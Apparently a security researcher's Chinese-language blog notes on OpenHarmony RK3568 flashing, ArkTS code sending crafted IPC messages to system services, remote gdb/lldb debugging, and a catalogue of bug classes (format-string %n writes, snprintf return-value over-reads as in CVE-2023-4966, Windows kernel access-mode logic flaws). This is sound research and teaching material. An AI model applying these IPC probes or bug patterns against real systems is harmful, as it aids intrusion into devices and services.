需要下载的文件: DriverAssitant_v5.1.1.zip, RKDevTool.exe, config.ini, Language 目录.
一定要保留Language目录, 否则工具会出现点一下就崩溃或者一直static的状况.
解压DriverAssitant_v5.1.1.zip后, 运行DriverAssitant\DriverInstall.exe , 点击驱动安装.
打开RKDevTool.exe 烧写工具, 查看设备状态.
如果开着机, 默认是如下状态:
按住下图所示两个键

烧录工具会提示没发现设备.
然后松开reset键, 显示”发现一个loader设备”. 然后松开剩下的按键. 等待3秒.

使用烧录工具烧录

vscode烧录时, 传输文件会比scp命令慢, 我们可以手动烧录.

将ubuntu目录源码的out/rk3568/packages/phone/images/目录下的所有文件拷贝到本地, 然后在RKDevTool.exe 工具的栏目里右键选择load config, 加载目录里的config.cfg文件, 并修改好每个文件的路径. 点击执行烧录.

使用vscode工具烧录

确保机器连接成功
在DevEco Device Tool中，选择REMOTE DEVELOPMENT > Local PC，查看远程计算机（Ubuntu开发环境）与本地计算机（Windows开发环境）的连接状态。
- 如果Local PC右边连接按钮为则远程计算机与本地计算机为已连接状态，不需要执行其他操作。
- 如果Local PC右边连接按钮为则点击绿色按钮进行连接。连接时DevEco Device Tool会重启服务，因此请不要在下载源码或源码编译过程中进行连接，否则会中断任务
在vs code中点击upload选项即可烧录.
vscode会先拷贝文件到本地, 拷贝完成后, 会提示按键开始烧录

实用命令

hdc shell power-shell setmode 602 屏幕常量

/vendor/bin/wpa_supplicant -i wlan0 -c /data/my_wpa_supplicant.conf -B 手动配置wifi

network={
ssid="wifiname"
psk="wifipassword"
priority=2
}

创建应用调试

下载安装HUAWEI DevEco Studio
启动它, 一步步继续就行, 然后会强制安装Harmony SDK, 继续
创建OpenHarmony 应用
接着会提示你安装OpenHarmony SDK, 安装即可
项目就创建完成了, 如果设备连接正常, 此处会有显示
选择File->Project Structure, 按下图所示
先择自动签名.
完成后就可以在下图位置开始调试和测试运行了

参考: DevEco Studio 搭建

设置应用权限

应用一般有3个等级:

APL级别	说明
system_core等级	该等级的应用服务提供操作系统核心能力。
system_basic等级	该等级的应用服务提供系统基础服务。
normal等级	普通应用。

可以查看此处的权限列表来确认模块所需的权限. (华为的人老是乱改链接, 如果失效了, 就搜索)

如果我们需要一个高一点的权限, 比如说 system_basic, 那么就需要额外的操作设置一下. 下面示例设置ohos.permission.DISTRIBUTED_SOFTBUS_CENTER 权限

创建一个空的Openharmony项目, 在项目的 entry/src/main下, 找到 module.json5 文件

在文件的 module 的大括号内添加如下权限请求:

{  
  "module": {
    xxx: [
    ...
    ],
    "requestPermissions": [// 新增此项
      {
        "name": "ohos.permission.DISTRIBUTED_SOFTBUS_CENTER"// 需要的权限
      }
    ]
  }
}

更多设置参考

找到 UnsgnedReleasedProfileTemplate.json 文件, 默认在C:\Users\vv\AppData\Local\OpenHarmony\Sdk\9\toolchains\lib\UnsgnedReleasedProfileTemplate.json, 修改其中的内容:
1
2
"apl":"system_basic",// 根据权限列表的内容, DISTRIBUTED_SOFTBUS_CENTER 需要 system_basic权限
"app-feature":"hos_system_app" // 系统基础服务app
更多设置参考
然后找到默认的签名证书, C:\Users\vv\.ohos\config\openharmony, 把目录下以auto_ohos_default_你的项目名称...开头的文件都删除. 同时清理项目的build-profile.json5的signingConfigs的内容为 "signingConfigs":[],
在DevEco里, File -> Project Structure->Project->Signing Configs里设置自动签名.
最后编译好就可以直接安装测试了.

测试用例的生成

使用DevEco生成测试用例

这里需要感谢k0shl(@KeyZ3r0)大佬的帮助, 找到了ipc的直接调用方法:

文件xxx.ets里:

以下是4.x版本

import rpc from '@ohos.rpc'

@Entry
@Component
struct Index {
  @State message: string = 'ipc Test'
  @State result: string = 'type to start'
  @State button: string = 'Start'

  build() {
    Row() {
      Column() {
        Text(this.message)
          .fontSize(40)
          .fontWeight(FontWeight.Bold)

        Text(this.result)
          .fontSize(20)
          .fontColor(Color.Red)
          .fontWeight(FontWeight.Bold)

        Button(this.button)
          .fontSize(40)
          .fontWeight(FontWeight.Bold)
          .onClick(() => {
            let proxy = rpc.IPCSkeleton.getContextObject();//初始化一个local register service的IRemoteObject
            if (proxy == null) {
              this.result = "connect error";
              return
            }
            let data = rpc.MessageParcel.create();
            data.writeInterfaceToken("ohos.samgr.accessToken"); //固定值，是samgr的interface token
            data.writeInt(3503); //想往哪个service发IPC消息，设定这个值，一般这个值在对应服务的头文件里, 比如软总线就是 SOFTBUS_SERVER_SA_ID_INNER 4700
            data.writeBoolean(false); //默认为false
            let reply = rpc.MessageParcel.create();
            let opt = new rpc.MessageOption();
            proxy.sendRequestAsync(2, data, reply, opt) //首先发送CheckSystemAbility到samgr
              .then(value => {
                if(value.errCode != 0){
                  this.result = "send request failed. errcode: " + value.errCode
                  return
                }
                let atproxy = reply.readRemoteObject(); //若成功，返回的MessageParcel reply会包含目标服务的IRemoteObject
                let atdata = rpc.MessageParcel.create();
                let atreply = rpc.MessageParcel.create();
                atdata.writeInterfaceToken("test"); //构造目标服务想测试的interface的MessageParcel, 具体参考目标服务如何解析的数据
                atdata.writeInt(0xdeadbeef);
                atdata.writeString("test");
                this.result = "finish1"
                let atopt = new rpc.MessageOption();
                atproxy.sendRequestAsync(0xff10, atdata, atreply, atopt).then(result => { //发送测试数据给目标服务，SendRequest的第一个参数为目标服务的接口，
                  //是一个enumerate，可以从目标服务目录的头文件里找到，
                  //比如/home/user/Desktop/code-v3.2-Beta4/OpenHarmony/base/security/access_token/frameworks/accesstoken/include/i_accesstoken_manager.h
                  //路径里的enum class InterfaceCode
                  this.result = "finish222"
                  if(result.errCode == 0){
                    this.result = "finish all"
                    return
                  }
                })
              }).catch(function(e){
              this.result = "catch exception. error:" + e;
              return
            });
          })
      }
      .width('100%')
    }
    .width('100%')
  }
}

上述示例实现了一个 ipc 消息发送操作.

截止 2023/1/31, Openharmony的sdk里, MessageParcel接口不支持writeCString. 如果需要写入字符串, 可以考虑用 writeInt 替代, 因为写入字符串也是4字节对齐的, 而CString的方式相当于写Int.

5.x版本

import { Want, common } from '@kit.AbilityKit';
import { rpc } from '@kit.IPCKit';
import { hilog } from '@kit.PerformanceAnalysisKit';

@Entry
@Component
struct Index {
  @State message: string = 'PublishPNN Test'
  @State result: string = 'type to start'
  @State button: string = 'Start'
  @State SOFTBUS_SERVER_SA_ID_INNER: number = 4700

  build() {
    Row() {
      Column() {
        Text(this.message)
          .fontSize(40)
          .fontWeight(FontWeight.Bold)

        Text(this.result)
          .fontSize(20)
          .fontColor(Color.Red)
          .fontWeight(FontWeight.Bold)

        Button(this.button)
          .fontSize(40)
          .fontWeight(FontWeight.Bold)
          .onClick(() => {
            let proxy = rpc.IPCSkeleton.getContextObject();//初始化一个local register service的IRemoteObject
            if (proxy == null) {
              this.result = "connect error";
              return
            }
            let data = rpc.MessageSequence.create();
            data.writeInterfaceToken("ohos.samgr.accessToken"); //固定值，是samgr的interface token
            data.writeInt(this.SOFTBUS_SERVER_SA_ID_INNER); //想往哪个service发IPC消息，设定这个值，一般这个值在对应服务的头文件里
            data.writeBoolean(false); //默认为false
            let reply = rpc.MessageSequence.create();
            let opt = new rpc.MessageOption();
            this.result = "send getRemote data waiting..."
            proxy.sendMessageRequest(2, data, reply, opt) //首先发送CheckSystemAbility到samgr
              .then(value => {
                this.result = "send data finish"
                if (value.errCode != 0) {
                  this.result = "send request failed. errcode: " + value.errCode
                  return
                }
                let atproxy = reply.readRemoteObject(); //若成功，返回的MessageParcel reply会包含目标服务的IRemoteObject
                let atdata = rpc.MessageSequence.create();
                let atreply = rpc.MessageSequence.create();
                let info = [0xcc, 0xcd, 0xce];
                atdata.writeInterfaceToken("OHOS.ISoftBusServer"); //构造目标服务想测试的interface的MessageParcel
                atdata.writeByte(0x41); // pkgName
                atdata.writeInt(4); // infoTypeLen
                let atopt = new rpc.MessageOption();
                this.result = "send SERVER_PUBLISH_LNN data waiting..."
                atproxy.sendMessageRequest(155, atdata, atreply, atopt)
                  .then((result: rpc.RequestResult) => { // SERVER_PUBLISH_LNN
                    this.result = "send SERVER_PUBLISH_LNN data finish"
                    if (result.errCode == 0) {
                      this.result = "finish all"
                      return
                    }
                    this.result = "send request failed. errcode: " + result.errCode
                  })
                  .catch((e: Error) => {
                    hilog.error(0x0000, 'testTag', 'sendMessageRequest got exception: ' + e);
                  })
                  .finally(() => {
                    data.reclaim();
                    reply.reclaim();
                  })
              })
          })
      }
      .width('100%')
    }
    .width('100%')
  }
}

使用原始测试组件生成测试用例

OpenHarmony自带google test, 如果要测试, 也可以通过修改自带的测试用例来实现我们的需求.

在OpenHarmony/foundation/communication/dsoftbus/tests/BUILD.gn添加新的测试用例

features += [
  "sdk/discovery/unittest:DiscSdkTest",// 这个默认就有
  "sdk/transmission/trans_channel:TransSdkTest",
  "adapter/unittest:AdapterTest",
  "sdk/bus_center/unittest:BusCenterSdkTest",// 如果我添加这个, 后面生成的命令就需要换成 ./build.sh --product-name rk3568 --build-target BusCenterSdkTest
]

测试用例所在目录的build.gn的解读:

bus_center_sdk_test_src = [ "bus_center_sdk_test.cpp" ]// 源码文件之一
...
  ohos_unittest("BusCenterSdkTest") {// 添加用例的名称
    module_out_path = module_output_path
    sources = bus_center_sdk_test_src// 涉及到的源码文件
    include_dirs = bus_center_sdk_test_inc
    include_dirs += [
      "unittest/common/",
      "//utils/native/base/include",
    ]
    ...
  }

使用./build.sh --product-name rk3568 --build-target DiscSdkTest --target-cpu arm64 --ccache 生成测试用例
生成位置OpenHarmony/out/rk3568/tests/unittest/dsoftbus/discovery/DiscSdkTest(此版本是stripped的版本, 但是有函数名称, 如果没有, 说明IDA版本过低)
为了方便调试, 可以在OpenHarmony/out/rk3568/exe.unstripped/tests/unittest/dsoftbus/discovery/DiscSdkTest 位置找到not stripped的版本.

调试器调试

64位系统的调试

在gdb-static下载gdbserver, 然后在ubuntu编译一个支持aarch64的gdb.

$ apt-get install python-dev
$ mkdir build
$ mkdir out
$ cd build
$ ../configure --build=x86_64-pc-linux-gnu -target=aarch64-linux-gnu --prefix=/home/vv/gdb-8.2.1/out --with-python
$ make
$ make install

在机器上操作连接wifi网络, 使用gdbserver启动程序

1	$ ./gdbserver-8.3.1-aarch64-le 192.168.1.4:1234 ./BusCenterSdkTest

在Ubuntu使用编译的gdb连接程序:

1	$ ./aarch64-linux-gnu-gdb

为了方便调试, 可以使用文末的gdb脚本.

32位系统的调试(不建议, 可以忽略此节)

尝试过使用编译的gdb调试(参考编译gdb), 但是rk3568的32位版本的内核实现有点问题, 会在某些syscall调用中失败. 因此建议使用lldb调试. OpenHarmony SDK会带lldb调试器, C:\Users\xx\AppData\Local\OpenHarmony\Sdk\9\native\llvm\lib\clang\12.0.1\bin\arm-linux-ohos\lldb-server(它也有64位的)

点击此处下载

获取hdc_std工具, 可以网上下载, 安装了SDK也会自带C:\Users\vv\AppData\Local\OpenHarmony\Sdk\9\toolchains\hdc_std.exe.

传递lldb

> .\hdc_std.exe list targets 查看设备
7001005458323933328a268f9c7f3900
> .\hdc_std.exe file send D:\lldb-server /data 将本地文件传递到设备的/data目录
FileTransfer finish, Size:xxx, File count = 1, time:16ms rate:1245.38kB/s
> .\hdc_std.exe shell 进入设备shell
# cd /data 进入/data目录
# mkdir test 新建目录便于测试
# chmod +x ./lldb_server
# ./lldb-server platform --listen "*:1234" --server 前提是设备的wifi有连接

使用C:\Users\vv\AppData\Local\OpenHarmony\Sdk\9\native\llvm\bin\lldb.exe或者Ubuntu的lldb连接目标server

> .\lldb.exe --arch thumbv7
(lldb) platform select remote-linux
  Platform: remote-linux
 Connected: no
(lldb) platform connect connect://192.168.1.8:1234
  Platform: remote-freebsd
    Triple: arm-unknown-linux-unknown
OS Version: 5.10.93 (5.10.93)
  Hostname: localhost
 Connected: yes
WorkingDir: /
    Kernel: #1 SMP Wed Dec 7 15:20:41 CST 2022
(lldb) platform set -w /data/test 设置测试目录为我们刚创建的test目录
(lldb) file ./DiscSdkTest 执行run的时候会将本地文件DiscSdkTest放置到目标目录
(lldb) run 开始运行

目前32位的系统的lldb存在thumb识别问题, 调试会有很大问题.

gdbinit for aarch64

因为自带的gdb比较简单, 这里我生成一个gdbinit, 方便查看内存和寄存器, 以及单步.

使用时, 在~/.gdbinit添加以下内容即可

set architecture aarch64
set $64BITS=1
set $ARM=1
set $SHOW_CONTEXT=1
define ascii_char
    if $argc != 1
        help ascii_char
    else
        # thanks elaine :)
        set $_c = *(unsigned char *)($arg0)
        if ($_c < 0x20 || $_c > 0x7E)
            printf "."
        else
            printf "%c", $_c
        end
    end
end
document ascii_char
Print ASCII value of byte at address ADDR.
Print "." if the value is unprintable.
Usage: ascii_char ADDR
end


define hex_quad
    if $argc != 1
        help hex_quad
    else
        printf "%02X %02X %02X %02X %02X %02X %02X %02X", \
               *((unsigned char*)$arg0), *((unsigned char*)$arg0 + 1),     \
               *((unsigned char*)$arg0 + 2), *((unsigned char*)$arg0 + 3), \
               *((unsigned char*)$arg0 + 4), *((unsigned char*)$arg0 + 5), \
               *((unsigned char*)$arg0 + 6), *((unsigned char*)$arg0 + 7)
    end
end
document hex_quad
Print eight hexadecimal bytes starting at address ADDR.
Usage: hex_quad ADDR
end

define hex_dword
    if $argc != 1
        help hex_dword
    else
        printf "0x%08X 0x%08X 0x%08X 0x%08X", \
               *(unsigned int*)($arg0), *(unsigned int*)((char*)$arg0 + 4),     \
               *(unsigned int*)((char*)$arg0 + 8), *(unsigned int*)((char*)$arg0 + 0xc)
    end
end
document hex_dword
Print eight hexadecimal bytes starting at address ADDR.
Usage: hex_dword ADDR
end

define hex_qword
    if $argc != 1
        help hex_qword
    else
        printf "0x%016llX 0x%016llX", \
               *(unsigned long long*)($arg0), *(unsigned long long*)((char*)$arg0 + 8)
    end
end
document hex_qword
Print eight hexadecimal bytes starting at address ADDR.
Usage: hex_qword ADDR
end

define hexdump
    if $argc != 1
        help hexdump
    else
        echo \033[1m
        if ($64BITS == 1)
         printf "0x%016lX : ", $arg0
        else
         printf "0x%08X : ", $arg0
        end
        echo \033[0m
        hex_quad $arg0
        echo \033[1m
        printf " - "
        echo \033[0m
        hex_quad $arg0+8
        printf " "
        echo \033[1m
        ascii_char (char*)$arg0+0x0
        ascii_char (char*)$arg0+0x1
        ascii_char (char*)$arg0+0x2
        ascii_char (char*)$arg0+0x3
        ascii_char (char*)$arg0+0x4
        ascii_char (char*)$arg0+0x5
        ascii_char (char*)$arg0+0x6
        ascii_char (char*)$arg0+0x7
        ascii_char (char*)$arg0+0x8
        ascii_char (char*)$arg0+0x9
        ascii_char (char*)$arg0+0xA
        ascii_char (char*)$arg0+0xB
        ascii_char (char*)$arg0+0xC
        ascii_char (char*)$arg0+0xD
        ascii_char (char*)$arg0+0xE
        ascii_char (char*)$arg0+0xF
        echo \033[0m
        printf "\n"
    end
end
document hexdump
Display a 16-byte hex/ASCII dump of memory at address ADDR.
Usage: hexdump ADDR
end

define hexDwordDump
    if $argc != 1
        help hexDwordDump
    else
        echo \033[1m
        if ($64BITS == 1)
         printf "0x%016lX : ", $arg0
        else
         printf "0x%08X : ", $arg0
        end
        echo \033[0m
        hex_dword $arg0
        printf " "
        echo \033[1m
        ascii_char (char*)$arg0+0x0
        ascii_char (char*)$arg0+0x1
        ascii_char (char*)$arg0+0x2
        ascii_char (char*)$arg0+0x3
        ascii_char (char*)$arg0+0x4
        ascii_char (char*)$arg0+0x5
        ascii_char (char*)$arg0+0x6
        ascii_char (char*)$arg0+0x7
        ascii_char (char*)$arg0+0x8
        ascii_char (char*)$arg0+0x9
        ascii_char (char*)$arg0+0xA
        ascii_char (char*)$arg0+0xB
        ascii_char (char*)$arg0+0xC
        ascii_char (char*)$arg0+0xD
        ascii_char (char*)$arg0+0xE
        ascii_char (char*)$arg0+0xF
        echo \033[0m
        printf "\n"
    end
end
document hexDwordDump
Display a 16-byte hex/ASCII dump of memory at address ADDR.
Usage: hexDwordDump ADDR
end

define hexQwordDump
    if $argc != 1
        help hexQwordDump
    else
        echo \033[1m
        if ($64BITS == 1)
         printf "0x%016lX : ", $arg0
        else
         printf "0x%08X : ", $arg0
        end
        echo \033[0m
        hex_qword $arg0
        printf " "
        echo \033[1m
        ascii_char (char*)$arg0+0x0
        ascii_char (char*)$arg0+0x1
        ascii_char (char*)$arg0+0x2
        ascii_char (char*)$arg0+0x3
        ascii_char (char*)$arg0+0x4
        ascii_char (char*)$arg0+0x5
        ascii_char (char*)$arg0+0x6
        ascii_char (char*)$arg0+0x7
        ascii_char (char*)$arg0+0x8
        ascii_char (char*)$arg0+0x9
        ascii_char (char*)$arg0+0xA
        ascii_char (char*)$arg0+0xB
        ascii_char (char*)$arg0+0xC
        ascii_char (char*)$arg0+0xD
        ascii_char (char*)$arg0+0xE
        ascii_char (char*)$arg0+0xF
        echo \033[0m
        printf "\n"
    end
end
document hexQwordDump
Display a 16-byte hex/ASCII dump of memory at address ADDR.
Usage: hexQwordDump ADDR
end


# _______________data window__________________
define ddump
    if $argc != 2
        help ddump
    else
        echo \033[34m
        if $ARM == 1
            printf "[0x%08X]", $data_addr
        else
            if ($64BITS == 1)
             printf "[0x%04X:0x%016lX]", $ds, $data_addr
            else
             printf "[0x%04X:0x%08X]", $ds, $data_addr
            end
        end
    echo \033[34m
    printf "------------------------"
    printf "-------------------------------"
    if ($64BITS == 1)
     printf "-------------------------------------"
    end

    echo \033[1;34m
    printf "[data]\n"
        echo \033[0m
        set $_count = 0
        while ($_count < $arg1)
            set $_i = ($_count * 0x10)
            if $arg0 == 1
                hexdump $data_addr+$_i
            end
            if $arg0 == 2
                hexDwordDump $data_addr+$_i
            end
            if $arg0 == 3
                hexQwordDump $data_addr+$_i
            end
            set $_count++
        end
    end
end
document ddump
Display NUM lines of hexdump for address in $data_addr global variable.
Usage: ddump TYPE NUM
end


define db
    if($argc != 1 && $argc != 2)
        help db
    else
        set $data_addr = (char*)$arg0
        if($argc == 1)
            ddump 1 5
        else
            ddump 1 $arg1
        end
    end
end
document db
Display 16 lines of a hex dump of address starting at ADDR.
Usage: db ADDR LINE
end

define dd
    if($argc != 1 && $argc != 2)
        help dd
    else
        set $data_addr = (char*)$arg0
        if($argc == 1)
            ddump 2 5
        else
            ddump 2 $arg1
        end
    end
end
document dd
Display 16 lines of a hex dump of address starting at ADDR.
Usage: dd ADDR LINE
end

define dq
    if($argc != 1 && $argc != 2)
        help dq
    else
        set $data_addr = (char*)$arg0
        if($argc == 1)
            ddump 3 8
        else
            ddump 3 $arg1
        end
    end
end
document dq
Display 16 lines of a hex dump of address starting at ADDR.
Usage: dq ADDR LINE
end

define reg
    printf "  "
    echo \033[32m
    printf "$x0:"
    echo \033[0m
    printf " 0x%016lX  ", $x0
    echo \033[32m
    printf "$x1:"
    echo \033[0m
    printf " 0x%016lX  ", $x1
    echo \033[32m
    printf "$x2:"
    echo \033[0m
    printf " 0x%016lX  ", $x2
    echo \033[32m
    printf "$x3:"
    echo \033[0m
    printf " 0x%016lX  ", $x3
    echo \033[32m
    echo \n
    printf "$x4:"
    echo \033[0m
    printf " 0x%016lX  ", $x4
    echo \033[32m
    printf "$x5:"
    echo \033[0m
    printf " 0x%016lX  ", $x5
    echo \033[32m
    printf "$x6:"
    echo \033[0m
    printf " 0x%016lX  ", $x6
    echo \033[32m
    printf "$x7:"
    echo \033[0m
    printf " 0x%016lX  ", $x7
    echo \033[32m
    echo \n
    printf "$x8:"
    echo \033[0m
    printf " 0x%016lX  ", $x8
    echo \033[32m
    printf "$x9:"
    echo \033[0m
    printf " 0x%016lX  ", $x9
    echo \033[32m
    printf "$x10:"
    echo \033[0m
    printf " 0x%016lX  ", $x10
    echo \033[32m
    printf "$x11:"
    echo \033[0m
    printf " 0x%016lX  ", $x11
    echo \033[32m
    echo \n
    printf "$x12:"
    echo \033[0m
    printf " 0x%016lX  ", $x12
    echo \033[32m
    printf "$x13:"
    echo \033[0m
    printf " 0x%016lX  ", $x13
    echo \033[32m
    printf "$x14:"
    echo \033[0m
    printf " 0x%016lX  ", $x14
    echo \033[32m
    printf "$x15:"
    echo \033[0m
    printf " 0x%016lX  ", $x15
    echo \033[32m
    echo \n
    printf "$x16:"
    echo \033[0m
    printf " 0x%016lX  ", $x16
    echo \033[32m
    printf "$x17:"
    echo \033[0m
    printf " 0x%016lX  ", $x17
    echo \033[32m
    printf "$x18:"
    echo \033[0m
    printf " 0x%016lX  ", $x18
    echo \033[32m
    printf "$x19:"
    echo \033[0m
    printf " 0x%016lX  ", $x19
    echo \033[32m
    echo \n
    printf "$x20:"
    echo \033[0m
    printf " 0x%016lX  ", $x20
    echo \033[32m
    printf "$x21:"
    echo \033[0m
    printf " 0x%016lX  ", $x21
    echo \033[32m
    printf "$x22:"
    echo \033[0m
    printf " 0x%016lX  ", $x22
    echo \033[32m
    printf "$x23:"
    echo \033[0m
    printf " 0x%016lX  ", $x23
    echo \033[32m
    echo \n
    printf "$x24:"
    echo \033[0m
    printf " 0x%016lX  ", $x24
    echo \033[32m
    printf "$x25:"
    echo \033[0m
    printf " 0x%016lX  ", $x25
    echo \033[32m
    printf "$x26:"
    echo \033[0m
    printf " 0x%016lX  ", $x26
    echo \033[32m
    printf "$x27:"
    echo \033[0m
    printf " 0x%016lX  ", $x27
    echo \033[32m
    echo \n
    printf "$x28:"
    echo \033[0m
    printf " 0x%016lX  ", $x28
    echo \033[32m
    printf "$x29:"
    echo \033[0m
    printf " 0x%016lX  ", $x29
    echo \033[32m
    printf "$x30:"
    echo \033[0m
    printf " 0x%016lX  ", $x30
    echo \033[32m
    echo \n
    printf "$sp:"
    echo \033[0m
    printf " 0x%016lX  ", $sp
    echo \033[32m
    printf "$pc:"
    echo \033[0m
    printf " 0x%016lX  ", $pc
    echo \033[0m
    echo \n
end

define context
reg
x/8i $pc
dq $sp 3
end



define hook-stop
    # this makes 'context' be called at every BP/step
    if ($SHOW_CONTEXT > 0)
        context
    end
end
document hook-stop
!!! FOR INTERNAL USE ONLY - DO NOT CALL !!!
end

Bug 实用技巧

2023-02-22T11:54:44.212Z

记录一些有意思的bug成因, 积攒经验值. 不定期更新

printf fmt

这种就比较老旧了, 就是如果开发者在使用printf/snprintf之类的函数, 但是fmt是可控的, 就可以通过%n来实现改写栈变量中指向的目的地址的值.

比如:

snprintf(buf, 0x10, fmt, var1, var2)

如果fmt是%0123s%n, 就会把var2指向的值设置为123.

实际的参考例子:

https://labs.watchtowr.com/fortinet-fortigate-cve-2024-23113-a-super-complex-vulnerability-in-a-super-secure-appliance-in-2024/?ref=blog.exploits.club

snprintf

char src[9] = "bbbbbbbb";
char dst[8] = "aaaaaa";
int l = snprintf(dst, 0x5, "%s", src);
return l;

一般来说, 这段代码是不会造成安全问题的, 因为并不能溢出dst, 而且函数会自动添加\0截断, 所以也不存在越界读取非0字节的问题.

但是, snprintf的返回值是不截断的长度! 也就是返回了8.

实际例子就是 CVE-2023-4966

iVar3 = snprintf(print_temp_rule,0x20000,
               "{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/ idp/login\", \"token_endpoint\": \"https://%.*s/oauth/idp/token\", \"jwks_uri\":  \"https://%.*s/oauth/idp/certs\", \"response_types_supported\": [\"code\", \"toke n\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end _session_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_sup ported\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_support ed\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr \", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoin t\": \"https://%.*s/oauth/idp/userinfo\", \"subject_types_supported\": [\"public\"]}"
               ,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
authv2_json_resp = 1;
iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,iVar3);

这里将iVar3作为响应的长度, 导致越界读取了额外的内存, 从而send响应时造成信息泄露.

参考链接: https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966

wcsncpy_s(dst,dstlen,src,srclen)

这是个安全拷贝函数, 但是它内部实现(msvcrt.dll)有个异常, 如果dstlen <= srclen, 且src的字符串长度大于等于dstlen, 就会导致崩溃异常.

wchar_t src[9] = L"bbbbbb";
wchar_t dst[8] = L"aaaaaaa";
int l = wcsncpy_s(dst, 0x6, src, 6);
printf("ok\n");

用visual studio编译, 这段代码我们就看不到输出”ok”.(但是实际上微软的服务遇到这种情况, 似乎只会抛出一个异常提示, 然后继续运行)

wchar_t src[9] = L”bbbbbbbb”;
wcscpy_s(dst, 8, src) 同理

PathCanonicalize

函数功能是拼接windows的文件路径, 并移除..\, 但是它不会移除../, 如果不正确使用, 存在路径超越问题.

参考案例: 议题 Old School, New Story–Escape from Hyper-V by Path Traversal

strnicmp, wcsnicmp

这类函数有长度限制, 可能错误匹配. 比如 strnicmp(“abc”,”abc123”, 3) 就能通过匹配.

MmProbeAndLockPages 逻辑提权

假如MmProbeAndLockPages 的第二个参数是KernelMode(0), 而构造mdk的va地址来自用户态参数, 那就可以实现直接读写内核地址.

参考: https://big5-sec.github.io/posts/CVE-2023-29360-analysis/

irp->RequestorMode 逻辑问题

irp->RequestorMode 和irp->PreviousMode. 当内核里调用ZwOpenFile 等Zw开头的api时, irp->PreviousMode就会从UserMode变成KernelMode, 从而绕过一些条件检查. 而irp->RequestorMode 是指原始调用来自用户态还是内核态.

另一种情况是 IoBuildDeviceIoControlRequest , 它后续会调用 IofCallDriver , 默认情况下, 它会把irp->RequestorMode 变为KenrelMode.

参考来源: https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1/

IDA 技巧

结构体字段命名

在定义结构体时, 可以在字段命名中添加关键词, 方便审计时提高注意力.

如果发现某个变量在锁内, 用lock1_开头, 表示字段的操作需要上锁. 下次看到引用字段却没上锁时, 就可以研究一下了.

a_开头, 表示字段是个数组.

_14h结尾, 标识字段在结构体中的偏移, 方便调试时直接可以看变量名识别偏移.

选择变量, create new struct type...创建结构体时, 如果有符号名称, 可以直接命名成那个名称, 这样有的函数有识别类型的时候, 会自动识别, 省去手动标识.

注意, 如果是c++的代码, 往往子类和父类名称一样, 导致类型识别错误. 需要自行辨别当前的类型应该是父类还是子类.
比如代码:
1
2
3
4
5
6
7
8
9
10
11
12
*((_DWORD *)this + 4) = 1;
 *(_QWORD *)this = &CWSDSession::`vftable'{for `IWSDSessionInternal'};
 v1 = (char *)this + 80;
 *((_DWORD *)this + 13) = 1;
 *((_QWORD *)this + 1) = &CWSDSession::`vftable'{for `IWSDMessageBusNotify'};
 v2 = 31i64;
 *((_QWORD *)this + 3) = 0i64;
 *((_QWORD *)this + 4) = 0i64;
 *((_QWORD *)this + 5) = 0i64;
 *((_DWORD *)this + 12) = 0;
 *((_QWORD *)this + 7) = 0i64;
 *((_QWORD *)this + 8) = 0i64;
很明显是两个类, 一个类的virtual table 是 IWSDMessageBusNotify, 一个是 IWSDSessionInternal.
因此, 先以this创建结构体, 假设名为a1,
1
2
3
4
5
6
struct a1{
    _QWORD field_0;
    _QWORD field_8;
    ....
     _QWORD field_40;
};
然后取+8开始字段, 创建新结构体, 假设命名成a2
1
2
3
4
5
struct a2{
    _QWORD field_8;
    ....
    _QWORD field_40;
};
将a1重新修改为
1
2
3
4
struct a1{
    _QWORD field_0h;
    struct a2 field_8h;
}
之后遇到引用子类的函数时, 也好处理了.

会议参考

有时候想发议题了, 发现议题cfp结束了, 就很无语, 列一下我知道会议(毕竟了解的不多, 有遗漏的话, 只是因为我了解的不够多, 还望见谅), 以后可以关注一下

会议名称	2024年举办时间	举办地点	CFP截止日期	演讲支持	备注
CanSecWest	3/20	加拿大	2023/12/30	差旅住宿	全程一个会场
Zer0Con	4/4	韩国	3/5	$2000+差旅住宿	硬核
Black Hat Asia	4/17	新加坡	2023/12/22	$1000+差旅住宿	多个会场(如果感兴趣议题冲突, 就无法都看)
TyphoonCon	5/30	韩国	3/1	差旅住宿
OffensiveCon	5/10	德国柏林	4/2	演讲费1000欧元+差旅住宿	硬核
GeekCon	5/25	不固定(24年新加坡)	4/20	$1200+差旅住宿
OffByOne	6/26	新加坡	3/2	差旅住宿
REcon	6/28	加拿大	4/26	$1000演讲费+差旅住宿
Black Hat USA	8/7	美国洛杉矶	4/10	$1000演讲费+差旅住宿
HITBSecConf BangKok	8/29	曼谷	4/30	演讲费不详+差旅住宿	hitb 有多个会议, 这里是其中一个, 不同会议时间和地点都不一样
PoC	11月	韩国	10/15	不详
Black Hat Euro	12/9	英国伦敦	不确定	$1000演讲费+差旅住宿
hexacon	10/4	法国巴黎	6月或者5月	不确定
HITCON	8/19	台湾	不确定	不确定
MOSEC	11月	上海	不清楚	不清楚
districtcon	2025/2/21	美国华盛顿	2024/11/01	不清楚
SAS2024	2024/10/21	印尼巴厘岛	2024/8/15	不清楚

其它的我觉得和我想象的技术会议有点不太一样, 有兴趣的可以自己关注一下, 比如: DEFCON, InfoSec

其它会议: vxcon香港, rootcon菲律宾, GreHack法国, Insomni’hack瑞士

Linux 使用技巧

2023-02-22T11:54:44.212Z

不定期更新

两个linux文件互传

1	$ scp -r linux-2.6.26 root@(目标ip)IP:/usr/src/(假设放到/usr/src路径)

文件查找

将当前目录及其子目录下所有文件后缀为 .c 的文件列出来:

1	$ find . -name "*.c"

find默认不查找软链接的文件夹, 所以, 可以加-L解决这个问题, 这个很重要!!!!!!

将一个本地程序做成一个本地服务程序

1	$ socat tcp-l:2333,reuseaddr,fork exec:./pwn1

服务端口在2333，使用nc 127.0.0.1 2333连接

获取ubuntu当前内核的源码

